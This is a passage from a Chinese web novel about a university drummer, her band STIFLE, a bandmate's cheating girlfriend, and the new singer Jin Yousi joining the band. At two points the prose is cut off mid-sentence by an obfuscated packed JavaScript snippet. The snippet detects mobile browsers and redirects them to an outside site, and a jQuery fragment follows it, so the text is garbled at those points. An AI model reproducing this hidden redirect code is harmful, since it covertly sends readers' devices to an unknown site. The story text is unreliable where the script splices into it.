柯愫澄还记得前几天找人调查的那件事,对方至今没有给出准确的消息,虽然她一直劝壳少别冲动,在没抓住把柄之前,出轨的事情也说不好是真是假,但实际上柯愫澄也不完全信任靳宥司。 如今他主动约自己,看着他姿态散漫的倚靠着墙,浑身上下都透着一股吊儿郎当的痞劲。 柯愫澄轻扯唇角,笑容中带着一丝蔑视:“抱歉啊,我没兴趣。”说完这话,她不给靳宥司任何拽自己的机会,绕道走人。 回到住处时,已经快晚上十点,黎荔原本想留下来住一宿,临时接到贺融生的电话,说陈弗凡喝多了,嚷嚷着要见老婆,没辙,黎荔只能去接人。 她走后,柯愫澄在一楼客厅歇了会儿,刚准备去浴室洗澡,微信有消息弹出,是壳少发来的,内容有些莫名其妙。 壳少:【你帮不帮我?】 柯愫澄可太了解壳少,都用不着猜,准没好事:【有屁放。】 不过一秒,坏消息就传了过来:【帮我捉个奸。】 柯愫澄都来不及敲字,对面紧接着发来一条语音:“我不想跟贝壳撕破脸,我还是挺舍不得她的,但那个狗男人必须给我逮出来。” 语音条里嘈杂声不断,柯愫澄察觉到壳少这会儿大概率在室外,大马路上。听他说话那声,多半有点想不开,她赶紧拨了个电话过去。 接通后都用不着问,壳少自个就交代清楚了:“我现在在你们学校附近的台球馆,我看到那男的先进去的,没十分钟贝壳就过来了,穿得那叫一个清凉啊。” 他话里的醋酸味,隔着屏幕都要溢过来了。 柯愫澄刚好也懒得等调查结果,直言:“那挺好,你直接上去问他俩什么关系,有没有做见不得人的勾当,顺便问一下贝壳,她为什么找人偷我的包。” 壳少这会儿还没反应过来,一双眼死死盯着台球馆二楼靠窗的位置,那儿站着俩熟人,男的指间夹着根烟,女的表情十分怪异,像是受到了某种惊吓。 也正是因为这一幕过于闹心,柯愫澄话说完得有半分钟,壳少才从恍恍惚惚的状态中抽离出来。 下一秒,他的情绪变得激动:“你什么意思?怎么还诬陷人啊。” 柯愫澄原本真没打算跟壳少挑明这件事,她私底下找过贝壳,对方态度强硬,说了些心里话,但柯愫澄不爱听,两人没聊到一块儿去,这事就搁置到一边了。 如今事态变得恶劣,柯愫澄不由得猜测,或许整件事跟她频繁联系的这个人有关?也说不定。 然而壳少并不这样觉得,哪怕事情的真相摆在他的面前,他依旧无法相信,这会儿反倒质问起柯愫澄,问她要证据。柯愫澄懒得跟他掰扯,讲不清楚的,朋友之间都存在严重的双标,更何况是情侣。 她直接将电话挂断,用力揉了揉太阳穴,赶在壳少回拨电话前,将手机静音,起身去浴室洗澡。 不知道是被这两件事给打击到了,还是怎么着,这晚过后壳少就消失了,问了一圈朋友没一个知道他去了哪。 直到一个多礼拜后,经纪人阮东召集乐队所有成员到基地集合。 柯愫澄上完课赶到基地时,距离集合时间还有十分钟,她将机车停在基地门口的停车坪,刚跨下车就看到贺融生从不远处走了过来。 他一副没睡醒的样,耷拉着眼皮,手里拎着两杯奶茶,不紧不慢地往这边来,走到柯愫澄边上时,往她手里塞了杯奶茶,是1点点的红茶玛奇朵。 柯愫澄接过奶茶说了句谢了,拎着头盔和贺融生一同往基地里走。 STIFLE乐队的基地位于市中心静安寺附近的一个废弃工厂内,是三层半的独栋老厂房。 乐队在盘下这里后将其进行了修复,保留原有建筑的形态,内部进行翻新设计。 从外面看依旧是一栋老旧厂房,但由玻璃自动门进入后会发现,内部的设计风格更柔和简洁,通过大面积通透玻璃和几何形体,营造出一种现代感十足的视角效果。 在等电梯时,贺融生有些纳闷的问了一嘴:“今天东哥叫我们过来干嘛?” 柯愫澄边拆吸管的包装膜,边回:“不清楚,说是有事要宣布。” 随着叮的一声响,电梯停在一层,门向两侧缓缓打开。 两人前后脚走进电梯,贺融生按了楼层数,往旁边挪了一步:“贝壳退队的事?这不都人尽皆知了吗,她社交平台上都发了声明,还用得着集合宣布吗。” 柯愫澄喝着奶茶,忍不住吐槽:“我也是说,搞不清楚阮东,他事儿最多。” 出了电梯两人来到排练室门口,贺融生先一步推开排练室的门。 柔和的旋律飘入耳畔,让两人在这一瞬间有些恍惚,就看到不远处的舞台上,那个消失了一个多礼拜的人,正坐在电子琴前,他手边的平板界面停留在FL Studio编曲软件上。 柯愫澄和贺融生下意识顿住步子,默默看了对方一眼才重新抬腿往里走。 兴许是太久没见面的缘故,氛围在此刻变得异常古怪,明明都知道对方的存在,却没一个人吱声。 柯愫澄倒觉得没什么,喝着奶茶绕道上了舞台,在架子鼓前坐下。 而另一边的贺融生很显然就没那么自在了,不是觉得尴尬,只是不习惯乐队的朋友见了面话都说不上一句,这会儿也只能他来拉近几人的距离,主动问:“你这些天干嘛去了?都见不着人。” 壳少放下电容笔,抬起头,看一眼柯愫澄,又看一眼贺融生。 完全忽视了对方的问题,只做最后的确认:“所以你俩老早前就知道,是贝壳指使的小偷去偷咱乐队的u盘,对吧。” 闻言,柯愫澄和贺融生远远对上一眼,没说话。 壳少心里有数,在他问出这个问题的时候就已经有了答案,只是他无法面对罢了,这会儿也只是叹了口气,情绪复杂的说:“我带贝壳说声抱歉。” 话音刚落,柯愫澄的唇角不屑的勾起:“倒不必,你和她都掰了,道歉的话还用不着你来说,没偷成功,对我们乐队没有利益损失,这事就这么着了。” 不知道是这话里的哪句戳中了壳少,他有些激动,极力辩解道:“我觉得她应该是有苦衷的,她其实很善良的对吧,你们都应该知道的啊,我们认识也两三年了。” 对啊,认识也有两三年了,可是呢。 柯愫澄忘不了去找贝壳的那个晚上,她说的心里话。那些话就如锋利的刀子,每说一句,就狠狠的刺入柯愫澄的心脏。 如果乐队成员们这两三年以来所做的一切,在她眼里却一文不值的话,那柯愫澄也无话可说。 而此刻,听着壳少极力辩解的话术,柯愫澄眼底一片冷然:“有什么苦衷不能跟我们说吗,认识了两三年都没把我们当朋友。” 壳少还想反驳,他得把这些乱七八糟的事情都解释清楚,虽然他也不知道自己在说些什么,有些语无伦次,但他不允许大家不再喜欢贝壳。 可都不等他开口,排练室的门被推开,阮东一身黑色正装,急匆匆赶了过来。 他都来不及喘气,见大家伙儿都到齐了,他唇角勾勒出一抹温和的笑:“大家都挺准时啊。” 柯愫澄将喝了半杯的奶茶放到手边的方形桌上,拿起鼓棒边转边问:“叫我们过来干嘛呢,赶紧说事。” 阮东不再拐弯抹角,笑得更放肆:“这次把大家召集过来是有个大好事要宣布,走了的人咱就不提了,今天我给大家介绍个新成员,今后就是咱乐队的电吉他手兼主唱了。”说着,他整个人面向排练室门口。 乐队三人这会儿都还没太反应过来,有些懵逼的对视了一眼。 面对这位空降的新成员,他们抱着看戏的心态,一同望向排练室门口。 视线刚移过去,一个高大的身影出现,他抄着兜,姿态闲散地走了进来。男人穿着黑色连帽卫衣,戴着顶棒球帽,帽檐压得低,几乎看不到五官。 三人目不转睛地盯着这位新成员,当他在阮东身侧站定,抬起头的一瞬间,像是外来物入侵一般,抵触的情绪高涨。 众人脸上写满了不可置信,无法遮掩的,强烈的震惊感让几人怔愣在原地。 壳少是最先回过神的,在看清楚面前这人是谁后,他握紧拳头直接冲了上去。 真是一刻都忍不了,既然猎物已经送到面前来了,不把这狗男人打趴下,他就不姓壳。 阮东很明显被壳少的突然发疯给吓到,赶忙护住身旁的靳宥司,而贺融生也在这时一把拉住了壳少。 被拽住无法前进,也丝毫挡不住壳少骂骂咧咧:“我艹尼玛,你他妈知三当三不得好死,你还有脸抢贝壳的位置,你胆子可真够大的啊,我*#$%^…” 这些粗鲁的话听着着实有些不舒服,柯愫澄被吵得脑仁疼,不自觉拧了下眉。 转眸间刚好与靳宥司撞上视线。 他的眼眸深邃,眸底似乎染着几分轻佻,让人琢磨不透。而他散漫挑眉的那一下,就像个不折不扣的混蛋。 柯愫澄强迫自己收回视线,耳畔依旧回荡着壳少骂骂咧咧的刺耳声响。 他极力逃出贺融生的控制,在力量上却完全不是贺融生的对手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14867543|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他都快哭出来:“生哥你快别拦着我了,这小子我今天非得揍翻他。” 此时靳宥司已经转身去到了休息区,慵懒的陷在沙发里。他勾着唇,唇角挂着一抹邪笑。 一副事不关己的样,倒像是来看戏的。 兴许是靳宥司这副吊儿郎当的样子,看着太让人恼火,贺融生险些没拽住壳少。 见事态不对劲,阮东赶忙上前几步,阻拦解释道:“哎哎哎,有误会,这事有误会啊。” 壳少听不进任何人的话,特别是站在靳宥司那边的人说的话:“能有什么误会,我都看到了。” “你是说咖啡厅那张偷拍照?还是台球馆那次?贝壳是不是没跟你说清楚?” 听到后半句话,壳少瞬间泄了气,返回位置坐了下来:“贝壳把我拉黑了,我去她家找了她,房东说她早就搬走了。” 阮东也为难:“这事只能由贝壳跟你解释,总而言之,靳哥是无辜的,跟这事没半点关系。” 他尝试压住壳少的怒火,讨好的话还没出口。 壳少质问道:“那你为什么会和贝壳去咖啡厅?你就不能找别的姑娘吗?你明知道她是我女朋友,你还找她喝咖啡,你到底几个意思。” 说着,他的情绪越发激动起来,贺融生和阮东几乎是同一时间拦在了他的面前。 壳少心里清楚得很,空降成员嘛,后台硬着呢,他无所谓啊,反正队里没有贝壳他也不想待了,这会儿开始不管不顾。 他只信自己亲眼看到的,虽然现在没办法冲上去揍人,但依旧恶狠狠的瞪着那个坏人:“还有在台球馆的那个晚上,你是不是凶她了,要不然她那么怕你,她胆子那么大,怕过谁啊?” 靳宥司明显不太乐意搭理壳少,手里把玩着打火机,冷眼睨着对方,神情十分不屑。 真就来做客的,一句话都懒得说。 壳少气不过,干脆不待了,这儿没一个人帮自己,行行行好好好,他才是外来人员,他走行了吧。 临走前他还不忘说:“我不同意他进队,贺融生也不同意,柯愫澄更不同意。” 他前脚气冲冲地冲出排练室,后脚贺融生就跟了上去,怕他做些冲动过激的事。 人走后,阮东扶眉叹了长长一口气,都不知道从何说起。 转头看到柯愫澄也跟个没事人一样,还坐在架子鼓前,兴许是不反对这位新成员的加入。毕竟她是乐队的队长嘛,心胸更宽广。 他心里舒服了些,脸上刚挂上笑容,话都没来得及说,兜里手机响起铃声。他掏出手机看到来电人备注后,麻溜地出了排练室。 现在好了,一走走了仨。 柯愫澄也不想待了,将鼓棒放下,余光瞟到休息区沙发上那人似乎一直盯着自己。 察觉异样,柯愫澄转眸,与他的目光对上:“你和贝壳那事——” 话都还没说完,靳宥司嗤笑一声:“你不也信了?我在你心里,本来也不是什么好人。” 两两相望,靳宥司的眉眼更冷几分。 柯愫澄没想否认,事实就是如此,没必要狡辩。她只是发出一声哂笑,别开了眼。 没两秒,靳宥司起身,抄兜走人。 他刚出排练室,阮东一脸茫然的回来了。 柯愫澄已经拎着头盔下了舞台,也不拐弯抹角,直接问:“他和贝壳什么关系?” 阮东心里一咯噔,立马拍胸脯保证:“你放心,他俩啥不良关系都没有。” 似乎觉得这样还不足够有说服力,他补充道:“偷包那事是靳宥司帮忙解决的,他一开始也没告诉我幕后黑手是谁,如果不是贝壳想再次行动,也没后来那么多破事了。” 听到这,柯愫澄很明显有些半信半疑,神情复杂地看着阮东。 阮东接着道:“说白了,贝壳后头有人想盗取我们乐队的成果。” 柯愫澄不意外,早在半年前身边第一次出现贼开始,她就料到绝对是同行所为:“查出是哪个公司了吗?” 阮东遗憾的表示:“还在调查中。” 柯愫澄眼睫微动,脸上泛起沉思的神色,好一会儿她才问:“靳宥司为什么要帮忙?你和他很熟?他有这么好?” 闻言,阮东哈哈笑两声,打起了哑谜,扯了东又来西,说半天没说到点上,让人更加摸不清头脑。 柯愫澄懒得听他说故事了,直言:“那你知不知道贝壳出轨对象是谁?” 阮东秒正经,表情也跟着严肃了许多:“我听说是你们那个圈子的人,年纪挺大的。” 柯愫澄心里有数了,刚抬腿走了两步又折返回来:“所以,你和靳宥司是怎么认识的?” 阮东微微眯眼,意味深长地说:“这个嘛,不太方便透露,他要想你知道,自然会主动告诉你的。” 10. 卷毛 机车在道路上飞驰,耳边是发动机的嗡嗡声,以及阮东最后说的那句话。 柯愫澄不由得想,靳宥司在这其中到底扮演着什么样的角色,他的目的究竟又是什么。 如果说两人机缘巧合下发生一夜.情,已经够让柯愫澄觉得不可思议,那么他作为主唱空降STIFLE,就如洪荒巨浪扑面而来。 毫不夸张的说,在看到新成员是谁后,柯愫澄震惊的情绪到达顶峰。 心跳加速,思绪乱飞。 她甚至无法相信自己的眼睛,如果今天没有戴隐形眼镜,或许柯愫澄还可以装作看不清面前这人,以及他意味深长的笑。 柯愫澄时常觉得自己读不懂靳宥司,毕竟两人算不上熟悉,他又有太多面,让人不知从哪个方向下手去了解,去进攻。 追求他算得上是一种挑战,要不然也不会到下赌注的程度。 而阮东的最后一句话,让柯愫澄反复思考一个问题,靳宥司究竟用了什么招数,和乐队经纪人达成了什么样的合作关系,才会让人胳膊肘往外拐。 思考无果后,短时间内柯愫澄也懒得再去找寻答案。日子照旧过,她和靳宥司私底下依旧没有任何联系,在学校唯一碰上的那么几次,柯愫澄身边还总是跟着周肆决。 其实在此之前,柯愫澄以为周肆决应该早就放弃追求,毕竟学生会那群人不都说了吗。 副主席拒绝人还挺不留情面的。 军训最后一个礼拜的时候,周肆决也已经不再过来找存在感,谁曾想安分了没两周,他又屁颠屁颠凑了过来。 这次他改变了以往的追求方式,直接死皮赖脸的出现在了柯愫澄他们班,跟各位学长学姐们一起上课。 奈何第一次没有经验,比柯愫澄和黎荔还要早到教室,柯愫澄见着露出虎牙傻笑的周肆决,果断的选择绕道坐在了老师眼皮子底下。 周肆决一个大一生,愣是自个坐在最后一排听完了整堂课才走。 有了这次失败的教训,周肆决学聪明了,回回都踩点到,到了就往柯愫澄边上的空位一坐,谁也赶不走他,包括拒绝人不留情面的副主席。 这么一来二回的,黎荔倒是和他混熟了,有时还能唠上几句。 周肆决也从中摸清了柯愫澄的脾性。 在外边,她顶多说些抱歉没兴趣之类的话,做不到让人丢了面,要不然在礼堂的时候,她也不会把人叫到角落划分清楚界限。 这越想啊,周肆决越喜欢柯愫澄,她哪哪都好,不光长得漂亮,一言一行都让人挪不开视线。正因如此,他继续下功夫,制造各种偶遇的机会,让人防都防不住。 甚至连辅导员办公室,他都要进去凑个热闹,只为和柯愫澄搭上话。 柯愫澄警告过几次,奈何人家装听不懂,倒也没挨着什么事,人也热情,甭管谁的活他都抢着干。学生会的,柯愫澄他们班的,其他专业老师的,只要落到柯愫澄头上的事情,他就抢过来给办好,完事后也不要啥好处,就只是无时无刻都要粘着柯愫澄。 久而久之,吃瓜群众纷纷表示,周肆决这小子有希望啊,毕竟给外人的感觉,柯愫澄是不排斥和他在一块儿的。 谣言愈演愈烈,有人旁敲侧击问周肆决怎么突然又明目张胆的展开追求了,他的原话传了好几个版本,传到柯愫澄这来的时候,翻译过来就是说:交杯酒都喝过了,多多少少有点把握和动力了。 其实柯愫澄挺想不明白的,不就游戏输了喝个交杯酒嘛,怎么就有把握了? 黎荔给出的回答是:他们男的本来都挺自恋的,更何况周学弟人长得还挺帅的,如果皮肤白一点,你会不喜欢? 这要搁以前,柯愫澄大概会说,喜欢算不上,觉得他好看倒有点可能。 但现在不一样了,自从和靳宥司打上交道后,柯愫澄再没觉得其他异性帅。又或者说是因为,很少有男性能完全的踩到自己的xp上,光有一张好看的脸可远远不够,浑身上下那股子劲得对。 说白了,得有极为强烈的反差感才行。 这时候柯愫澄就有些纳闷了,怎么大一那会儿愣是没注意到他呢。 此时距离新成员入队已经有四五天的时间,阮东那边没一点动静,乐队群里其他成员也不再吱声。靳宥司更是装不熟装到底,前几天在教学楼和食堂都有碰到他,他身边依旧跟着一群人,几张嘴巴叭叭个不停,他也只搭理谢津洲。 叮—— 下课铃敲响,任课老师拎包走人,教室里瞬间乱成一团。 周肆决从座位上站了起来,伸个大大的懒腰,配合着呼出一口长气。 柯愫澄余光瞟到,将课本丢进托特包里。 一旁的黎荔边拨通陈弗凡的电话,边打趣道:“你这一天天的也不嫌累,人家巴不得没课在宿舍睡大觉,你倒好,没事就过来听咱们班的课,学到点知识没啊。” 周肆决有些惭愧,今天上午上自己班课的时候,因为任课老师实在太严厉,他愣是没敢趴下,这两节课就死命的睡,除了中途下课休息的十分钟是清醒的,再就没有任何的意识了。 他挠着后脑勺,红着脸说:“昨晚和室友玩三国杀玩到凌晨三点,今天困爆炸了。” 柯愫澄已经离开座位往教室后门走,两人赶忙跟上她,继续唠呢。 “我们班老师都快记住你了,上次那老教授不说了吗,期末考试你要不在他可不发考卷。”边说,她快几步,挽上柯愫澄的手臂。 周肆决走在柯愫澄另一侧,笑着:“打趣我呢,别说,那老头我还挺喜欢的。” 此时陈弗凡终于接听电话,黎荔先骂了对面一句:“你要死啊,这么久不接电话,是不是在干什么见不得人的事。” 她也不听对面怎么解释,将手机拿远了些,回周肆决的话:“那挺好啊,你俩一拍即合看对眼了,祝百年好合。” 随后将手机又贴回耳侧:“你去二食堂占个座,我们仨马上就过去。” 十五分钟后,三人走进学校二食堂。 刚进门,迎面撞上已经吃完饭的俩不算熟的熟人。 这个点正是食堂人最多的时候,奈何靳宥司实在太引人注目,鹤立于人群之中,身上只穿一件简单的纯白短袖,没有佩戴任何繁琐的饰品,就连棒球帽都没戴。 正因如此,柯愫澄才能一眼就注意到他的新发型。 昨天上午在教学楼附近碰上时,他还是微分碎盖,今天见就变成卷毛了。倒不是很夸张的卷,烫的是莱斯利卷,在微风碎盖的基础上,微微增加层次,很自然的卷毛。 大概是没休息好的缘故,他的神情带了些许困倦,听着身旁谢津洲一个劲的叭叭,他只轻微点头,视作回应。 而柯愫澄身旁两人也没好到哪去,明明中间隔着个人,她一句他又一句,聊得不亦乐乎。 兴许是察觉到某处的异样,靳宥司蓦地转头,四目相对。 柯愫澄能很明显的感觉到他眼神中的淡漠。 明明眉目生得那般好看,特别是左眼下缀着的那颗淡淡小小的泪痣,给漂亮的脸蛋更添几分韵味,无形中却透着些距离感。又或者说,这份淡漠而又隐晦不明的距离感,只存在于某些时刻。 正当柯愫澄准备挪开视线,谢津洲隔着老远,发现了三人。 瞧见柯愫澄身旁又跟着周肆决,结合最近流传在学校各处的谣言,谢津洲的眼神瞬间亮了几分,唇角也不自觉地上扬,露出意味深长的坏笑。 他没忍住走上前:“好巧啊周学弟,你和副主席还挺熟啊,一块儿吃午饭呢,你们等会儿吃什么啊,有啥推荐的吗?” 柯愫澄已经收回视线,只余光瞟了眼那人,他面无表情地站在一旁,倒也不介意谢津洲突然的上前搭话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14867544|159504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人中被点到名的周肆决,在看到来人后,鬼使神差地往柯愫澄身旁挪了一小步,随后笑着说:“姐姐喜欢吃辣,我陪她吃麻辣香锅。” 这话语间的暧昧,在场的几人不可能听不出。 黎荔的反应最为强烈,眉梢一挑,唇角有些压不住,一双眼左看看右看看,眼珠子都要转抽筋了。 而谢津洲在听到这句话后,下意识往旁边瞟了一眼,动作幅度不大。见靳宥司没任何反应,他假惺惺说客套话:“这样啊,那我们下次也尝尝,回见啊。” 俩人前脚刚离开食堂,后脚周肆决就低头认错:“对不起学姐,刚刚说话说太快,嘴瓢叫错称呼了,我不是故意的。” 听到解释,黎荔忍不住咳嗽两声,捂唇憋笑的同时还不忘打圆场:“好了好了,我都快饿死了,咱别杵在这里了。”说着话,她一把拉住柯愫澄,找人去。 周肆决见柯愫澄什么也没说,心里更发慌。从找到陈弗凡,到去窗口买饭,再到坐下来吃。全程,他都没敢跟柯愫澄对视。 柯愫澄心里清楚得很,只是懒得计较罢了,这次就放过他,保准没下次。 吃过午饭后,黎荔和陈弗凡就先撤了。 下午没课,柯愫澄没打算待在学校,刚起身准备离开食堂,周肆决将手机往前递了递:“学姐你看,谢秘书长在群里发了通知,叫咱去开个短会。” 闻言,柯愫澄瞥了眼手机屏幕,看到谢津洲的艾特,下意识皱眉。 周肆决已经学会看人眼色行事,先一步吐槽道:“早不开会晚不开会,偏偏选在大中午,都不让人好好睡个午觉。”说这话的功夫,他还在偷偷瞟柯愫澄,想看看她是啥反应。 柯愫澄能有什么反应,就一个字:烦。 两人到达学生会专属会议室时,里头已经坐满了人,除了学生会几个官大的坐在会议桌前,其他的人员自个搬把椅子,围坐在外圈。而圆形会议桌还留有一个空位,在靳主席边上,谢秘书长已经坐下,不用想就知道那个空位是副主席的。 周肆决自觉去旁边办公室搬椅子过来坐,柯愫澄则踱步来到空位处坐下。 人刚落座,会议就开始了。 老规矩,谢津洲先发言讲话,后续再由主席补充说明。 柯愫澄随意听着,已经光明正大拿出手机开始玩。 短视频软件还没点进去,STIFLE群里,阮东喊话:【有活动主办方邀请咱乐队,国庆假期就要登台,现在就只剩下一个礼拜的准备时间了,大家要抓紧配合练习了啊。】 刚看完阮东发来的这么一长串消息,柯愫澄就注意到,群里不知道什么时候多出了一个人,没设群昵称,就叫Si-。 柯愫澄下意识瞟了眼坐在边上的靳宥司,他手里也握着手机,由于两人的座位距离过近,柯愫澄能很清楚的看到对方的手机屏幕,界面停留在STIFLE群里。 但他并没有回复经纪人阮东的这条消息,同样的,群里其他人也没有吱声。 过了得有五六分钟,柯愫澄刷短视频刷得正起劲,屏幕上方弹出一条微信消息,是Si-发来的。 Si-:【吃蛋糕吗?】 柯愫澄没有退出软件,视频持续播放着,她也只是不经意地看了眼旁边。 隔了大约半分钟,她才转入微信回复这条消息:【最近换口味,吃不来甜的。】 下一秒,靳宥司将手机锁屏,反扣放到桌面上,身子往座位后头一靠。 很快,谢津洲发言结束,轮到靳主席讲话。 他的手机也在这时发出一声清脆的消息提示音。 他没管,讲完该讲的,谢津洲接上,做会议的收尾工作。 靳宥司拿起桌面上的手机,解锁后看到,柯愫澄的消息在手机里躺了快五分钟。 内容是:【你们店有什么咸口的食物吗?】 11. 冰粒粒 这次的短会是在十分钟后结束的,会议上具体讲了些什么,其实柯愫澄并没有认真听,她倒是没闲着,不仅要刷短视频,还要和靳主席玩游戏。 会议结束后,周肆决把隔壁办公室借来的椅子还了回去,赶在柯愫澄走人前冲到她的跟前:“学姐,我送你去车棚吧。” 会议室里还有大半人没走,周肆决说话声大,没想背着人。被这群八卦王听见,各个屏气凝神,生怕错过任何一个小细节,耳朵竖得比天高,嘴角止不住的上扬,笑容中充斥着难以言喻的兴奋。 柯愫澄都看着了,斜了眼周肆决,算是最后一次警告。 周肆决立马闭嘴不笑了,默默跟在柯愫澄身后,一直跟到了车棚,看着她跨上车,戴好头盔,没有一丝不舍的飞驰而过。 周肆决只能在心里叹气。 机车驶出学校大门,停在十字路口等红绿灯时,柯愫澄远远看到,靳宥司上了路边停着的一辆奔驰AMG ONE。 这车从后往前,由黑渐变至白,后车厢全黑部位贴满白色的奔驰标,还挺酷。 不等柯愫澄再多看几眼,绿灯亮起,一道刺耳的引擎声响起,机车飞速启动驶出。 回到家中,一整个下午柯愫澄都躺在床上,好像睡着了又好像没睡着,人迷迷糊糊的,直到天完全黑下来,她才从床上爬起来,收拾收拾出发去幻师。 到幻师时已经过了晚上八点,店门口排队的大多都是来喝酒的,女生各个画着浓妆,穿得清凉。 反观柯愫澄,脸上的妆淡到看不出化妆痕迹,穿着也没什么特别的,就是她常穿的风格,收腰白衬衫搭配格子裙,腿上再套一双黑色过膝袜,这是她认为的最简单的穿搭。 将机车停稳,柯愫澄抬腿往人群那走。 她今天没在网上取号,到店门口时,那个还算熟的男店员立马抬手招了招:“姐姐!这边!我带您进。” 柯愫澄不意外,毕竟和靳宥司说好了的,虽然没有约到店的具体时间,但猜应该都猜得出,不会早到。 跟着男店员进到店里,还没把尊贵的客人安排坐下,他就被一桌女客人拦了下来。 四人中的短发姑娘指着吧台里的一位调酒师:“我点了杯酒,能不能指定要那个卷毛帅哥给我调啊。” 男店员顺着短发姑娘所指的方向看过去,在看到吧台里那位‘调酒师’后,他顿感不妙,后背瞬间发凉,十分抱歉的解释道:“那个是我们店的老板,不接单的,就自个调着玩玩。” 四位客人不约而同的啊了一长声,既惊讶又失望,还拽着男店员不放,叫他帮个忙,以后肯定会常来,见不管用直接掏手机出来要他把老板联系方式推一推。 柯愫澄知道男店员短时间内无法脱手,自个来到吧台处,预留的位置坐下。 人还刚落座,酒单都没拿起来,一杯酒就推到了面前。 紧接着就听到后边不远处的那桌客人,其中一个女生不可思议的瞪大了双眼:“不是不接单吗?那为什么给那个美女调啊?” 男店员麻溜看过去,在看到酒是递给柯愫澄的后,他松了口气:“那个啊,她是我们老板的朋友,不是客人来的,也就算不上是接单。” 四人中的另外一位露出意味深长的笑:“我看是女朋友吧。” 听了这话,男店员可不敢接,别说摆面上议论了,就连私底下,店里的员工都不敢胡乱八卦老板。 他只能尴尬的笑笑不说话。 与此同时的焦点中心,柯愫澄看着靳宥司推到面前来的这杯酒,如果没有猜错的话,这是最近网络上很火的酸奶酒,原名叫拉莫斯金菲士。 她轻拿吸管,吸了几口酒。 口感温和,酒液就像被泡沫吸干了精华,只剩下淡淡的奶油味和柠檬的清香,以及糖浆的酸甜味道。 很适合喝不了浓烈酒精的人,喝个几杯也醉不到哪去。 柯愫澄一口气喝了大半杯,刚想找靳宥司再要杯没名字,抬头却发现,他人不知道去了哪,已经不在吧台里。 也是这时,几位服务员端着餐盘走了过来,将柯愫澄面前本就不算多么宽敞的位置,摆得满满当当,就连再要一杯酒,那酒都没地方摆,完全没留一丝空隙。 等服务员离开,男店员凑上来,捂着半张嘴,小声透露:“这些都是店里还没确定要不要上架的菜品,老板要后厨做出来给你提前尝一尝。”话音刚落,余光瞟到不远处,老板单手抄兜正往这边来,他赶忙退到一边。 柯愫澄有所察觉,拿起叉子从最靠近自己面前的这道菜开始品尝。 刚将食物送入口中,身旁位置有人坐下。 淡淡的檀木香瞬间萦绕至鼻息间,薄荷味不浓郁,兴许是被空气中的酒精所盖过。 有点可惜,这么算起来,也挺长时间没近距离闻到清爽的薄荷香。 正出神,旁边男人缓慢开口:“给我杯冰水。” 话音落,柯愫澄下意识看了过去,表情中透着难以置信:“你不喝酒?” 靳宥司说话的语速依旧不紧不慢,调调懒洋洋,却又意有所指:“总得有一个人是清醒的。” 调酒师将冰水递到面前,靳宥司喝了一口。 此时舞台上的男歌手正在唱草蜢的《半点心》,刚好唱到柯愫澄最喜欢的一段词:“我暗中想总有一点爱吧,可以交给我吧,总算得恋爱吧,相爱少点也罢。” 柯愫澄的视线没有要挪开的意思,从靳宥司仰头喝水开始,就一直盯着他的喉结,这会儿杯子都放下了,她还盯着那凸起的性感部位。 直到两人的手机同时响起消息提示音。 柯愫澄被迫收回视线。 阮东在乐队群里再次艾特全体成员,连着发了好几条消息,柯愫澄看后没打算回,正要锁屏,Si-的消息弹出。 Si-:【今晚没时间,改天。】 这边消息刚发送到群里,阮东就来私信了柯愫澄。 阮东:【身为STIFLE的队长,你得想办法处理一下团队成员们之间的矛盾问题,拉近一下大家的关系才行啊。】 柯愫澄有些无话可说,当初临时通知有新成员加入的时候,他就没想过有今天吗?稍微动动脑子就应该知道,在这个节骨眼上空降新成员,乐队里没人会服气。 他倒好,一个商量都不打就把人强塞进来,这会儿也好意思提要求? 柯愫澄算给面子的,要这事搁以前,她早翻脸了,现在也只是回了对面俩字:没空。 阮东的消息秒弹出:【你也没空?你有啥要紧事啊?】 柯愫澄没理会,刚将手机锁屏放桌面上。 靳宥司闲聊似的开口:“这几道菜味道怎么样?” 柯愫澄盯着满满一大桌的咸口菜,唇角勾勒出一抹深意:“如果我觉得不好吃,就不上架了吗?”说着这话,她的目光再度与靳宥司的交汇在一起。 他那双深邃漆黑的眼眸中,似乎夹杂着几分审视。 像是游戏中的邀请方与被邀请方,匹配加载环节中,被邀请方反复查看握在手中的,对方玩家的比赛录像,研究战术策略,分析对手弱点,尝试通过对视的方法更加深入的找出破绽,确保能与之进行一场更具有挑战性的游戏。 而在对视的第五秒钟,靳宥司轻扯唇角,语调更冷几分:“你不喜欢的,以后来就别点。” 兴致被一棒子打得粉碎,柯愫澄脸色难看,别开眼,吐出两个字:“无趣。” 她继续挨个品尝新菜品,全程靳宥司都只是坐在一旁喝他那寡淡无味的白水,偶尔有认识的客人经过这边,跟人闲聊两句,反正就是不再开启任何一个,可能会涉及到两人之间,那些暧昧不清的话题。 柯愫澄觉着吧,靳宥司就是故意的,属于丢了一次面儿,就舍不得再拉脸提约火包的事。 她无所谓这些,也始终认为,不管是哪种关系,都讲究你来我往。 吃到五分饱,她再次拿起桌面上的手机,解锁后回复了阮东前不久提出的那个问题。 有啥要紧事? 柯愫澄:【做饭。】 那边依旧秒回,特意外:【你什么时候学会做饭了?】 柯愫澄的嘴角不着痕迹的轻勾,敲字:【无师自通。】 消息发送过去,她转头,看着坐姿闲散,手肘轻靠在吧台边沿,指间捏着根爆珠香烟的靳宥司。 